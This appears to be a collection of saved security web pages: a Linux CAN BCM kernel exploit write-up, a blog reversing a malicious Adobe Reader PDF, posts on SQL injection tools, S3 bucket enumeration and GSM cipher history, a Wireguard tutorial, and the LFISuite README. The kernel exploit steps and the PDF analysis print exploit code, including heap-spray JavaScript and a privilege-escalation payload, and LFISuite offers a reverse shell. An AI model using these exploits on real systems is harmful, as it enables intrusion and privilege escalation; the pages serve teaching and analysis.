and accessible to an unprivileged user, to ensure we’re dealing with a fresh
non-fragmented slab and achieve allocations of our shmid\_kernel structure
adjacent to our overflowed structure.

## The Exploit

While we’ve already covered much of the necessary material to exploit a
generic SLUB overflow, there are some aspects of the CAN BCM vulnerability
that make it interesting and are worth further discussion.

First, the allocation pattern of the CAN BCM module gives us some desirable
properties for smashing the SLUB. We control the kmalloc with a 16-byte
granularity allowing us to place our allocation in the SLUB cache of our
choosing. As described above, we’ll specify a 96-byte allocation so that it
will be allocated from the kmalloc-96 cache, the same cache used to allocate
shmid\_kernel structures. The allocation can also be made in its own discrete
stage before the overwrite which allows us to be a bit more conservative in
ensuring the proper layout of our SLUB cache.

To exploit the vulnerability, we first create a BCM RX op with a crafted
nframes value to trigger the integer overflow during the kmalloc. On the
second call to update the existing RX op, we bypass the E2BIG check since the
stored nframes in the op is large, yet has an insufficiently sized allocation
associated with it. We then have a controlled write into the adjacent
shmid\_kernel object in the 96-byte SLUB cache:

<img src='img/Temp2_10427.png' width='500' height='146' />

However, while we control the length of the SLUB overwrite via a
memcpy\_fromiovec operation, there exists a memset operation that directly
follows:

[code]

        /* update can_frames content */
        err = memcpy_fromiovec((u8 *)op->frames,
                               msg->msg_iov,
                               msg_head->nframes * CFSIZ);
        if (err < 0)
            return err;
    
        /* clear last_frames to indicate 'nothing received' */
        memset(op->last_frames, 0, msg_head->nframes * CFSIZ);
    
    
[/code]

This memset which zeros out last\_frames, highly likely to be an adjacent
allocation, with the same malformed length, effectively nullifying our shmid
smash:

<img src='img/Temp2_10426.png' width='500' height='178' />

To work around this, we take advantage of the fact that copy\_from\_user can
perform partial writes on x86 and trigger an EFAULT by setting up a truncated
copy for the memcpy\_fromiovec operation, allowing us to smash the necessary
amount of memory and then pop out and return early before the memset operation
occurs:

<img src='img/Temp2_10422.png' width='500' height='153' />

We then perform a dry-run and detect the shmid smash via an EIDRM errno from
shmat\(\) caused by an invalid ipc\_perm sequence number. Once we’re sure we
have a shmid\_kernel under our control we re-smash it with the malformed
version. By invoking invoking shmat\(2\) on the smashed shmid, we cause the
kernel to dereference the mmap function pointer which is now under our
control, as seen in ipc/shm.c:

[code]

    static int shm_mmap(struct file *file, struct vm_area_struct* vma)
    {
        ...
        ret = sfd->file->f_op->mmap(sfd->file, vma);
        if (ret != 0)
            return ret;
        ...
    }
    
    
[/code]

Which redirects control flow to our credential modifying function mapped in
user space, escalating our privileges:

[code]

    int __attribute__((regparm(3)))
    kernel_code(struct file *file, void *vma)
    {
        commit_creds(prepare_kernel_cred(0));
        return -1;
    }
    
    
[/code]

The full exploit is available. It is targeted for 32-bit Ubuntu Lucid 10.04
\(2.6.32-21-generic\), but ports easily to other vulnerable kernels/distros.

# Reversing the Adobe Reader Exploits – Part 1 | Missouri S&T ACM SIG-SEC|Reversing
**Created:**| _12/16/2009 8:32:24 AM_  
---|---  
**Updated:**| _12/16/2009 8:32:45 AM_  
**Author:**| __  
**Tags:**| _Exploit reversing Malware-analysis_  
  

## Reversing the Adobe Reader Exploits – Part 1

**Update:** Turns out that the sample I was working with is not the new 0-day
exploit described here. Once I get a sample of the new PDF exploit I’ll write
a new post describing how it works \(or read parody’s comment below for a
preview\).

~~On December 15, Adobe released a security advisory stating that a new
vulnerability has been found in Adobe Reader that could potentially execute
arbitrary code. Instead of studying for my last two finals, I decided to try
my hand at reversing a PDF exploit and figuring out what this new
vulnerability is and what the wild malware is doing with it.~~

So first off, I have not looked into PDF exploits before and really don’t know
much about the PDF format other than skimming through previous exploit
advisories. First off, by reading the advisory you can ~~de~~ termine that
this is a JavaScript exploit since disabling JavaScript is the current
solution until Adobe releases a patch. I found a really useful reversing cheat
sheet a few weeks ago and I started off by finding a few tools that looked
useful for decoding a PDF file and extracting the JavaScript \(PDF Tools Suite
and Malzilla\). From here I’ll proceed to extract the encoded JavaScript from
the PDF and work on figuring out what the code does.

**Extracting JavaScript from a PDF**

The first tool we’ll be using is pdf-parser.py from the PDF Tools suite. This
script will search through a PDF file’s sections, display raw data in the
sections, and decode JavaScript streams if they are encoded \(FlateDecode\).
Running pdf-parser.py on the malicious pdf without any options returns a list
of all sections in the JavaScript file… which isn’t very useful to us since we
are only interested in the JavaScript section that hopefully contains the
exploit. Instead, you can run `pdf-parser.py -s javascript malware.pdf` and
the script will only return the JavaScript sections. For the pdf in this
example it returns:

[code]

    obj 7 0
     Type:
     Referencing: 10 0 R
     [(1, '\n'), (2, '<<'), (2, '/JavaScript'), (1, ' '), (3, '10'), (1, ' '), (3, ' 0'), (1, ' '), (3, 'R'), (1, '\n'), (2, '>>'), (1, '\n')]
    
     <<    /JavaScript 10 0 R  >>
    
    obj 14 0
     Type:
     Referencing: 13 0 R
     [(1, '\n'), (2, '<<'), (2, '/JS'), (1, ' '), (3, '13'), (1, ' '), (3, '0'), (1,  ' '), (3, 'R'), (1, '\n'), (2, '/S'), (1, ' '), (2, '/JavaScript'), (1, '\n'), (2, '>>'), (1, '\n')]
    
     <<    /JS 13 0 R    /S /JavaScript  >>
    
[/code]

Okay, so I’m lazy and don’t want to go read through the PDF reference manual,
so we’re just going to figure out what to do by brute force and some educated
guessing. First off, there is an “object” command in pdf-parser.py that looks
like it should return the object referenced by each section. Running that on 7
and 14 \(from the above “obj 7 0″ output\) return what looks like another
section with just a referencing number again. So scratch that, let’s try
running the object command on the referencing numbers above \(10, 13\).
Running this on 10 gives us:

[code]

    obj 10 0
     Type:
     Referencing: 14 0 R
    
    <>
    
     <<    /Names [(a) 14 0 R]  >>
    
[/code]

Which isn’t too interesting, but running the object command on 13 gives us
what we want:

[code]

    obj 13 0
     Type:
     Referencing:
     Contains stream
    
    <>
    
     <<    /Length 20297  >>
    
[/code]

Okay, this looks like the JavaScript stream of the file. Now, how do we
actually get to the code? After fiddling around with the script, it turns out
we want to enable the raw mode and enable the filter which decodes the data.
After doing this we get the actual JavaScript source code:

[code]

    p ="";
    
    var s = " 10{ 118{ 97{ ............. lots of shellcode!";
    ib=eval;
    vk=ib;
    p ="";
    s=s.replace(/[A-Z]/g,function (sda){}).split("{ ");
    
    var JknB="f"+"o";
    var qqeerR="r";
    var qrt="("+"i";
    var HHjdxc="="+"0";
    var uiuTW="i"+"<";
    var Vqweqwet="l"+"en";
    var df="+"+"+";
    var TTyreQ="=S";
    var nmMJ="o";
    var tyuid="o";
    var YUiotr="["+"i]"+")"+";"+"}";
    vk(JknB+qqeerR+...........);
    vk(p);
    
[/code]

Okay, this looks more like the obfuscated shellcode that we are looking for\!
Skimming over this code, it looks like everything has been obfuscated by
randomizing variable names and adding extraneous operations, except for the
string  _replace_ and  _split_ functions and the  _eval_ function. The line
with the string replace and split functions will parse the insanely long
string at the top and get it into something closer to the shellcode. The eval
line is key,  _eval_ is a function in JavaScript that executes a string of
commands… so in this case the call to vk will evaluate some string that
contains commands.

**Decoding the Shellcode**

At this point, we have a bunch of obfuscated JavaScript code that is going to
decrypt a string into some command and then execute the command. We want to
know what the command that will be executed is, and there are basically two
methods for figuring this out – replace the eval call with a
document.write\(\) or use the Malzilla tool. I’m going to go with the Malzilla
tool since it was linked to by the cheat sheet website up above and I like
learning new things.

<img src='img/Temp2_6974.png' />

Open Malzilla, go to the “Decoder” tab at the top, and paste in the JavaScript
code we have from before. Next, click the “Run Script” button and Malzilla
will run the JavaScript code in its own interpreter and store anything that
was executed by the eval function. A new window will open with the results; in
our case there are two results since there were two lines where eval\(\) was
run. The first result is below:

[code]

    for(i=0;i<s.length;i++)
    {
       p+=String.fromCharCode(s[i]);
    }
    
[/code]

This code converts the string s from Unicode to charaters and stores the
result in string p. The second result will be what is stored in p based on the
original code vk\(p\).

[code]

    var arry = new Array();
    function fix_it(yarsp, len)
    {
    while (yarsp.length*2<len){yarsp += yarsp;}
    yarsp = yarsp.substring(0,len/2);
    return yarsp;
    }
    var version = app.viewerVersion;
    if (version > 8 )
    {
    var payload = unescape("%uC033%u8B64........");
    nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
    heapblock = nop + payload;
    bigblock = unescape("%u0A0A%u0A0A");
    headersize = 20;
    spray = headersize+heapblock.length;
    while (bigblock.length<spray) bigblock+=bigblock;
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length-spray);
    while(block.length+spray < 0x40000) block = block+block+fillblock;
    mem = new Array();
     for (i=0;i<1400;i++) mem[i] = block + heapblock;
    var num = 1299999999999999999988........;
    util.printf("%45000f",num);
    }
    if (version < 8 )
    {
    var addkk = unescape("%uC033%u8B64........");
    var mem_array = new Array();
    var cc = 0x0c0c0c0c;
    var addr = 0x400000;
    var sc_len = addkk.length * 2;
    var len = addr - (sc_len+0x38);
    var yarsp = unescape("%u9090%u9090");
    yarsp = fix_it(yarsp, len);
    var count2 = (cc - 0x400000)/addr;
    for (var count=0;count < count2;count++)
    {
     mem_array[count] = yarsp + addkk;
    }
    var overflow = unescape("%u0c0c%u0c0c");
    while(overflow.length < 44952) overflow += overflow;
    this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
    }
    if (version < 9.1)
    {
    if (app.doc.Collab.getIcon){
     var vvpethya =unescape("%uC033%u8B64........");
     var hWq500CN = vvpethya.length * 2;
     var len = 0x400000 - (hWq500CN + 0x38);
     var yarsp = unescape("%u9090%u9090");
     yarsp = fix_it(yarsp, len);
     var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
     for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
     arry[vqcQD96y] = yarsp + vvpethya;}
     var tUMhNbGw = unescape("%09");
     while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
     tUMhNbGw = "N." + tUMhNbGw;
     app.doc.Collab.getIcon(tUMhNbGw);
    }
    }
    
[/code]

So what was only 21 lines and two eval\(\) statements has ballooned into this,
which would have been executed by the second eval if we were running in Adobe
Reader. I’ve put a copy on Pastebin for easier reading.

**Analyzing the Shellcode**

If you skim through the latest version of the shellcode, it can quickly be
determined that the malware checks which version of Adobe Reader it is running
on and executes an exploit based on that. There is another Unicode encoded
string \(%uC033%u8B64…\) that is the same in all three exploits which contains
the actual shellcode that will be executed on the host machine.

**Version 8 and Higher**

The first branch targets Adobe Reader versions 8 and higher and exploits
CVE-2008-2992which is a vulnerability in the util.printf function \(which is
the last line in this branch… a quick Google search determined which
vulnerability was being exploited\). Coincidently, it turns out the malware is
using a modified version of Debasis Mohanty’s demonstration code.

**Version 8 and Lower**

The second branch targets Adobe Reader versions lower than 8 and exploits
APSA08-01which is a vulnerability in the Collab.collectEmailInfo\(\) function
\(again, the last line of this branch\). This code is also modified from
published exploit code.

**Version Lower than 9.1**

The second branch targets Adobe Reader versions less than 9.1 and exploits
CVE-2009-0927which is a vulnerability in the app.doc.Collab.getIcon\(\)
function \(again, the last line of this branch\).

**What’s Next**

I actually need to study for my finals, so I’m going to have to quit here. The
next post will most likely start with trying to figure out what the Unicode
encoded string represents \(teaser, I’ve already found a URL and I assume the
rest is ASM\) and then do some dynamic analysis of actually opening the
malicious PDF and seeing what actions it takes. Feel free to post any
questions or corrections in the comments\!

2009

    12/15
CATEGORY

    Tutorial
TAGS

    0day  
exploit  
pdf  
Tutorial

Write comment

  * Write comment
  * Comments RSS

  * Trackback \( 1 \)
  * Comments \( 1 \)

  1. <img src='img/Temp2_6973.png' width='35' height='35' />
     * parody
     * December 15th, 2009
     * REPLY
     *      * QUOTE
Nice work\! :\]

The sample doesn’t look to be the exploit for the new bug against adobe
though.

Sample I have uses the following javascript to trigger the new bug.

var memory;

if\(app.viewerVersion >= <img src='img/Temp2_6972.png' alt='8)' /> \{  
function NS\(\) \{  
var nop = unescape\(’%u9090%u9090′\);  
var sc = unescape\(’%u6090%uec81%u03e8%u0000%uc083%u8364….%u0000%u0000′\);

while\(nop.length <= 0×10000/2\) nop+=nop;  
nop=nop.substring\(0,0×10000/2 – sc.length\);

memory=new Array\(\);  
for\(i=0;i<0×1000;i++\) \{  
memory\[i\]=nop + sc;  
\}  
\}

NS\(\);

try \{this.media.newPlayer\(null\);\} catch\(e\) \{\}  
util.printd\("p@111111111111111111111111 : yyyy111", new Date\(\)\);

…

good luck with your finals :\]

# Three SQL Injection Tools – Bobcat, ExploitMyUnion, Laudanum\! — PenTestIT

**Created:**| _5/12/2010 9:47:37 AM_  
---|---  
**Updated:**| _5/12/2010 9:47:57 AM_  
**Author:**| __  
**Tags:**| _bookmark security tools pentest sql-injection_  
  

# Three SQL Injection Tools – Bobcat, ExploitMyUnion, Laudanum\!

MAY 11, 2010 5:53 AM · 0 COMMENTS

by BLACK on MAY 11, 2010 · 0 COMMENTS

in OPEN SOURCE, PENETRATION TESTING, WEB APPLICATION PENETRATION TESTING

Today, we would like like to be very brief while discussing about three tools
that we think have not been written about any one. There might have been
different reasons behind this, but we would like to bring your attention to
these tools, so that their respective authors feel that their work is being
appreciated and start actively developing these tools\!

1\. Bobcat SQL Injection Tool:

  
**Bobcat** is a tool to aid a security consultant in taking full advantage of
SQL injectionvulnerabilities. It was originally created to build and extend
upon the capabilities of a tool named “Data Thief”.  
Bobcat has numerous features that will aid in the compromise of a vulnerable
application and help exploit the RDBMS, such as listing linked severs and
database schemas, dumping data, brute forcing of accounts, elevation of
privileges, execution of operating system commands, etc.  
Download BobCat Alpha v0.4 **here**.

2\. **ExploitMyUnion** :  
ExploitMyUnion is a tool intended to exploit easily SQL injection flaws.  
Download ExploitMyUnion version 2.0 **here**.

3\. **Laudanum** :  
Laudanum is a collection of injectable files, designed to be used in a pentest
when SQL injection flaws are found and are in multiple languages for different
environments.They provide functionality such as shell, DNS query, LDAP
retrieval and others.  
Download laudanum version 0.1 **here**.

Out of these three, if you are a Windows user, Bobcat will be the easiest,
then ExploitMyUnion and then the Laudanum. Of course, it will be the other way
if you are a \*Nix user.

Download laudanum version 0.1 here.

  

  *[MAY 11, 2010 5:53 AM]: 2010-05-11 05:53
  *[MAY 11, 2010]: 2010-05-11

# Penetration Testing Amazon Web Services \(AWS\) - Rhino Security Labs

**Created:**| _5/20/2017 8:57:31 PM_  
---|---  
**Updated:**| _5/20/2017 8:57:31 PM_  
**Author:**| __  
**Tags:**| _cloud computing storage architecture_  
  

  

# Penetration Testing AWS Storage: Kicking the S3 Bucket

Share this post:

__ Twitter

__ Facebook

__ LinkedIn

__ Reddit

__ Dwight Hohnstein

__ May 15, 2017

In our last AWS penetration testing post, we explored what a pentester could
do after compromising credentials of a cloud server. In this installment,
we’ll look at an Amazon Web Service \(AWS\) instance from a no-credential
situation and specifically, potential security vulnerabilities in AWS S3
“Simple Storage” buckets.

After walking through the AWS S3 methodology, we’ll apply that to the Alexa
top 10,000 sites to identify the most popular AWS users for these
vulnerabilities. Each site with open S3 permissions has been contacted by
Rhino Security Labs in advance for remediation.

## What is Amazon S3?

Amazon Simple Storage Service \(S3\) is an AWS service for users to store data
in a secure manner. S3 Bucket permissions are secure by default, meaning that
upon creation, only the bucket and object owners have access to the resources
on the S3 server as explained in the S3 FAQ. You can add additional access
control to your bucket by using Identity and Access Management \(IAM\)
policies, making S3 a very powerful resource in restricting to authorized
users.

Creating new users and muddling through security policies can be complicated
and time-consuming, causing less experienced companies to open permissions
they didn’t intend. IAM can draw many parallels to Windows group policies,
giving groups and their users very specific access and control permissions.

Like Windows policy errors, lenient identity management on an S3 bucket can
vary in impact – from minor information leakage to full data breach. Some
sites, for example, use S3 as a platform for serving assets such as images and
Javascript. Others push complete server backups to the cloud. As with any
security vulnerability, the risk is not just the presence of the issue, but
the context as well.

As a penetration tester, a quick check for the existence and configuration of
S3 buckets can be an easy win and is always worth checking.

## Passive Recon: Determine the Region

Many AWS applications are not configured behind a web application firewall
\(WAF\), making it straightforward to identify the region of the server using
_nslookup_. If the server is behind a WAF, you may need alternative methods to
determine a target’s IP address.

<img src='img/Temp2_6197.png' width='948' height='164' alt='AWS Passive Recon'
/>

Using _nslookup_ of the flaws.cloud IP address reveals it’s located on us-
west-2. The entire flAWS CTF, covering AWS security can be found here:
http://flaws.cloud/

## Active Recon: Probe for Buckets

Once a region is determined, you can then start general querying and
enumeration of bucket names. It’s not actually required to determine the
region beforehand, but it will save time later querying AWS. We recommend
doing a combination of subdomains, domains, and top level domains to determine
if your target has a bucket on S3. For example, if we were to search for an S3
bucket belonging to www.rhinosecuritylabs.com, we might try bucket names
rhinosecuritylabs.com, and www.rhinosecuritylabs.com.

To determine the validity of the bucket name, we can either navigate to the
automatically assigned S3 URL given by Amazon, which is of the format
http://bucketname.s3.amazonaws.com or use the command line which is as
follows:

[code]

    [sudo aws s3 ls s3://$bucketname/ --region $region
[/code]

If the command returns a directory listing, you’ve successfully found a bucket
with unfettered access permissions.

<img src='img/Temp2_6191.png' width='731' height='516' alt='AWS Active Recon'
/>

An image of the flaws.cloud S3 directory listing in the browser. Each S3
bucket is given a URL by Amazon of the format bucketname.s3.amazonaws.com

## Exploiting S3 Permissions

Some S3 buckets are used to host static assets, such as images and Javascript
libraries. However, even for these buckets with less-sensitive assets, an
**open upload policy** could enable an attacker to upload a custom Javascript
library, allowing them to serve malicious Javascript \(such as a BeEF Hook\)
to all application users.

Of course, many more sensitive uses for S3 exist. In our research, we found
buckets allowing downloading of system backups, source code, and more – a
critical risk to the leaky company. Even log files that are available for
download can reveal usernames, passwords, database queries and more.

<img src='img/Temp2_6196.png' width='902' height='253' alt='S3 Alexa 10,000
Example' />

_A domain on the Alexa Top 10,000 storing g-zipped log files and stored on the
S3 server._

<img src='img/Temp2_6195.png' width='902' height='253' alt='S3 Alexa 10000
Logfiles' />

_More log files from the Alexa Top 10,000. In this case, production API logs
stored without authentication._

<img src='img/Temp2_6194.png' width='563' height='228' alt='S3 Alexa Git
Repot' />

_A site’s .git subdirectory stored on Amazon S3, showing source code
extraction could be possible._

_<img src='img/Temp2_6192.png' width='927' height='133' alt='S3 Alexa Backup
Repo' />_

_Entire server backups stored on S3 for an Alexa Top 10,000 site._

## Alexa Top 10,000 Sites

Using the Alexa Top 10,000 sites, determine which sites have S3 buckets that
allow directory listing, downloads, and uploads enabled.

This was done programmatically by searching each region using the AWS CLI,
issuing the command:

[code]

    [aws s3 ls s3://$bucketname/ --region $region
[/code]

**$bucketname** will simply be the domain name being tested, as well as any
subdomains we previously found \(foo.com, www.foo.com, bar.foo.com, etc\). If
the bucket exists and no permission errors raised, this indicates open list
permissions.  
A successful download command is determined by taking a file with non-zero
size and copying it locally to disk. If the file is successfully transferred,
this indicates open download permissions.

> #### Sidenote
> A successful upload is demonstrated \(by another, unknown party\) through a
> file called _testupload.txt_. This file appears in multiple S3 buckets
> tested, indicating another user performing similar enumeration testing in
> November 2016. Similarly, this information was provided to those companies
> found to be vulnerable.
> <img src='img/Temp2_6189.png' width='892' height='213' alt='S3 Upload Test'
> />
> _The testupload.txt file has been uploaded to several open S3 servers,
> indicating someone has tested upload permissions before Rhino Security Labs
> conducted this study._
### Results

Out of the 10,000 sites audited, 107 buckets \(1.07%\) were found with list
permissions belonging to 68 unique domains. These buckets were found to be
hosted across 10 of 11 regions, with fips-gov-us-west-1 \(36% of buckets\) and
us-east-1 \(37% of buckets\) being the most popular.

<img src='img/Temp2_6193.png' width='752' height='452' alt='AWS Regions Alexa
10000' />

These buckets contained everything from nothing at all, to entire git
repositories, to backups of enterprise Redis servers. Of these 107 buckets, 61
\(57%\) had open download permissions to anyone who viewed them. 13 \(12%\)
had open upload permissions, and 8% had all three.

<img src='img/Temp2_6190.png' width='752' height='452' alt='AWS Buckets Alexa
10000' />

## Conclusion

The number of security controls AWS provides to customers for governing their
assets is staggering. Despite the “locked down by default” structure, a
surprisingly large number of companies still loosen their S3 settings,
allowing unauthorized access to their data.

In this research study, sensitive company data, backups log files, and other
data was identified without requiring authentication. If you’re using S3,
proper IAM controls are critical for preventing the sort of information
leakage demonstrated here. Implementing access logging can similarly help
identify when/where your credentials are being used to access your resources.

> >> Concerned about these security vulnerabilities in your environment, or
> want more information on the risks highlighted above?Contact us.
Previous: The Business Case for Penetration Testing Your Network

  

# Harald Welte's blog

**Created:**| _11/27/2010 10:41:46 PM_  
---|---  
**Updated:**| _11/27/2010 10:42:14 PM_  
**Author:**| __  
**Tags:**| _crypto awesome signal USRP_  
  
|  
Fri, 12 Nov 2010 **A brief history on the withdrawal of the A5/2 ciphering
algorithm in GSM**  
Recently, I wanted to investigate when and how A5/2 has been withdrawn from
both GSM networks and GSM phones alike. Unfortunately there was no existing
article discussing this history online, so I went through dozens of meeting
reports and other documents that I could find online to recover what had
happened. If you don't know what this is all about: It is about the A5/2 air-
interface encryption algorithm that was used in certain GSM networks until
about 2005-2007. A5/2 was specified as a _security by obscurity_ algorithm
behind closed doors in the late 1980ies. It was intentionally made weaker than
it's \(already weak\) brother A5/1. The idea was to sell only equipment with
A5/2 to the countries of the eastern block, while the less-weak A5/1
encryption was to be used by the western European countries. A5/2 had been
reverse engineered and disclosed in the late 1990ies, and has undergone a lot
of attention from cryptographers such as Ian Goldberg and David A. Wagner. In
a 1999 paper, they already expect that it can be broken in real-time. It took
several more papers until in August 2003, finally, the proponents of the GSM
systems \(ETSI/3GPP/GSMA\) have realized that there is a problem. And the
problem was worse than they thought: Since they key generation for A5/1 and
A5/2 is the same, a semi-active downgrade attack can be used to retroactively
break previously-recorded, encrypted A5/1 calls. The only solution to this
problem is to remove A5/2 from all equipment, to make sure the downgrade is
not possible anymore. Starting from 2004 the security related working groups
of 3GPP and GSMA thought about removing A5/2, and in the following years they
convinced their respective bodies \(3GPP, GSMA\), and members thereof
\(operators, equipment makers\) to fix this problem. Ever since that time, it
is known that using the same key generation for different algorithms enables
down-grade attacks. However, the key generation for the then-new A5/3
algorithm was unmodified. So now that A5/1 has been broken in recent years,
even if the operators deploy A5/3, the same model of down-grading attacks to
A5/1 can be done again. I have put down a time-line at the still mostly-empty
security.osmocom.org website. Some of the goodies from it:

  * It took from 1999-2007 until this gaping security hole was fixed. Call that incident response\!
  * Unnamed Northern American Operators \(and the PTCRB\) were the biggest blockers to remove A5/2 support from their networks. This is particularly strange since US operators should always have had A5/1 access.
  * As a breaking of the more secure A5/1 was already anticipated even back then, in 2002 A5/3 was first specified. Five years later \(2007\) there was _virtually no support for A5/3_ among manufacturers of GSM network equipment
  * It took until January 2009 until the GSMA discussed A5/3 testing with mobile phone makers
  * It took until November 2009 until there was a plug-fest testing interoperability between A5/3 enabled GSM network equipment and A5/3 enabled phones.

And what do we learn from all this?

  * GSM equipment manufacturers and mobile operators have shown no interest in fixing gaping holes in their security system
  * Prior to that first A5/2 attack, they have never thought of procedures for upgrading the entire system with new ciphering systems \(i.e. proactive plans for incident response\)
  * Even after the A5/2 disaster, they have not learned the slightest bit. The same problem that was happening with A5/1 - A5/2 downgrade attacks can today be done with A5/3 - A5/1 downgrade attacks. And this _before_ the majority of the operators has even started to use the already-7-year-old A5/3 in their production networks.
  * The security work group of 3GPP has had a lot of insight into the actual threats to GSM security even 10 years ago. You can see that e.g. in the Technical Recommendation 33.801. But nobody wanted to hear them\!
  * Similar problems exist with the authentication algorithms. It took 12 years from first practical attacks on COMP128v1 until the GSMA is _looking at_ withdrawing it.

\[ /gsm | permanent link \]  
---|---

# Wireguard on Kali

**Created:**| _9/12/2018 5:40:44 AM_  
---|---  
**Updated:**| _9/12/2018 5:40:44 AM_  
**Author:**| _wishi_  
**Tags:**| _Linux vpn_  
  

  

<img src='img/Temp2_9941.png' width='798' height='284' alt='WireGuard on Kali
Linux' />

# Wireguard on Kali

September 11, 2018elwoodKali Linux Tutorials

We have been hearing a lot about Wireguard lately and with it being recently
added to the Kali repos, we thought we would give it a quick try to see what
all the fuss is about. All in all, we found this is a really nice and quick to
configure VPN solution, and might be worth checking out.

## Getting Started

With Wireguard added to the repos, installation is nice and easy:

apt install wireguard resolvconf

And we are off. Next comes time for configuration. This is where Wireguard
really shone for us, as it took next to nothing to get up and running.

On the server, we have to generate a public/private key pair and set up an
initial config file.

wg genkey | tee privatekey | wg pubkey > publickey  
umask u=rwx,go= && cat > /etc/wireguard/wg0.conf << EOF  
\[Interface\]  
Address = 10.222.222.1/24  
SaveConfig = true  
ListenPort = 51820  
PrivateKey = -SERVER PRIVATE KEY-  
  
\[Peer\]  
PublicKey = -CLIENT PUBLIC KEY-  
AllowedIPs = 10.222.222.2/32  
EOF

And we do the same process on the client to establish its key pair and config.

wg genkey | tee privatekey | wg pubkey > publickey  
umask u=rwx,go= && cat /etc/wireguard/wg0.conf << EOF  
\[Interface\]  
Address = 10.222.222.2/32  
PrivateKey = -CLIENT PRIVATE KEY-  
DNS = 8.8.8.8  
  
\[Peer\]  
PublicKey = -SERVER PUBLIC KEY-  
Endpoint = public.ip.of.server:51820  
AllowedIPs = 0.0.0.0/0  
PersistentKeepalive = 21  
EOF

These are pretty simple configs but it’s worth pointing a few things out.
First off, you obviously have to put the output from the key pairs into the
configs as appropriate. Additionally, the DNS line on the client is to help
prevent DNS leaks from using your local default DNS server. You may or may not
want to change that depending on your needs.

Most important however is the “AllowedIPs” line. This will control what IPs do
or don’t go across the VPN. In this case, we setup the client to route
everything through the VPN server. We will play with this more in a bit, but
let’s look at getting this basic config running.

To start and stop the tunnel, it’s pretty easy.

\# The VPN can be enabled using  
wg-quick up wg0  
\# To disable the VPN:  
wg-quick down wg0  
\# Information about the connection can be retrieved with following command:  
wg show

And of course, we need to enable IP masquerade and IP forwarding on the
server.

/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  
echo 1 > /proc/sys/net/ipv4/ip\_forward

So, with this we have a traditional VPN configuration. If you are looking to
just get a standard VPN setup, at this point you are done. There are some
advantages to this compared to using OpenVPN, for instance this solution seems
to be much faster, the config is a lot simpler, and it’s a touch more stealthy
in that the server won’t respond to packets that don’t have a proper key pair
linked to them. We thought however it might be interesting to change the
configuration to reflect our ISO of Doom config, having a client that will
auto connect to the server on boot allowing the server to route through and
access the client network.

## Wireguard of DOOM\!

First things first, on our client, let’s quickly set up IP forwarding and
masquerading:

/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  
echo 1 > /proc/sys/net/ipv4/ip\_forward

Great, with that done, we make a couple minor changes to our configs. First
up, on the server we change the “AllowedIPs” line to have the private network
on the report site. This would look like so:

\[Interface\]  
Address = 10.222.222.1/24  
SaveConfig = true  
ListenPort = 51820  
PrivateKey = -SERVER PRIVATE KEY-  
  
\[Peer\]  
PublicKey = -CLIENT PUBLIC KEY-  
AllowedIPs = 10.200.200.2/32, 192.168.2.0/24

With that one line changed on the server, we then tweak the clients
“AllowedIPs” line to remove the option to route everything to the VPN server.

\[Interface\]  
Address = 10.200.200.2/32  
PrivateKey = -CLIENT PRIVATE KEY-  
DNS = 8.8.8.8  
  
\[Peer\]  
PublicKey = -SERVER PUBLIC KEY-  
Endpoint = public.ip.of.server:51820  
AllowedIPs = 10.200.200.0/24  
PersistentKeepalive = 21

And thats it\!

root@kali:~\# ping 192.168.2.22  
PING 192.168.2.22 \(192.168.2.22\) 56\(84\) bytes of data.  
64 bytes from 192.168.2.22: icmp\_seq=19 ttl=63 time=50.2 ms  
64 bytes from 192.168.2.22: icmp\_seq=20 ttl=63 time=53.4 ms  
64 bytes from 192.168.2.22: icmp\_seq=21 ttl=63 time=48.1 ms

Now the VPN server can access the subnets on the other side of the Wireguard
VPN.

## Wrapping up

Time will tell if Wireguard replaces OpenVPN as the VPN of choice, or if the
latest buzz is just excitement of using the newest toys. In any case, it’s
nice to have the ability to test it out, and use if it’s a good fit. As we
have seen here, it’s definitely easy to setup, and relatively versatile in the
user cases.

#### Related Posts

My Custom Kali Linux Distribution

September 5, 2018

Build Kali with Live-Build on Debian Based Systems

July 18, 2018

  

# D35m0nd142/LFISuite

**Created:**| _7/17/2017 11:32:27 AM_  
---|---  
**Updated:**| _7/17/2017 11:32:27 AM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

  

###  README.md

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f56657273696f6e2d312e312d677265656e2e737667'
width='78' height='20' alt='Version 1.1' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f507974686f6e2d322e372e782d79656c6c6f772e737667'
width='88' height='20' alt='Python 2.7.x' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d47504c76332d7265642e737667'
width='96' height='20' alt='GPLv3 License' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f547769747465722d2534306433356d306e643134322d626c75652e737667'
width='142' height='20' alt='Twitter' />

# LFI Suite

<img src='img/screen.png' width='815' height='822' alt='alt tag' />

###  What is LFI Suite?

LFI Suite is a totally **automatic** tool able to scan and exploit Local File
Inclusion vulnerabilities using many different methods of attack, listed in
the section ` Features `.

* * *
###  Features

  * Works with Windows, Linux and OS X
  * Automatic Configuration
  * Automatic Update
  * Provides 8 different Local File Inclusion attack modalities:
    * /proc/self/environ
    * php://filter
    * php://input
    * /proc/self/fd
    * access log
    * phpinfo
    * data://
    * expect://
  * Provides a ninth modality, called **Auto-Hack** , which scans and exploits the target automatically by trying all the attacks one after the other without you having to do anything \(except for providing, at the beginning, a list of paths to scan, which if you don't have you can find in this project directory in two versions, small and huge\).
  * Tor proxy support
  * Reverse Shell for Windows, Linux and OS X

###  How to use it?

Usage is extremely simple and LFI Suite has an easy-to-use user interface;
just run it and let it lead you.

##### Reverse Shell

When you got a LFI shell by using one of the available attacks, you can easily
obtain a reverse shell by entering the command **"reverseshell"** \(obviously
you must put your system listening for the reverse connection, for instance
using **"nc -lvp port"**\).

###  Dependencies

  * Python **2.7**.x
  * Python extra modules: termcolor, requests
  * socks.py

> When you run the script, in case you are missing some modules, it will check
> if you have **pip** installed and, in case you don't, it will install it
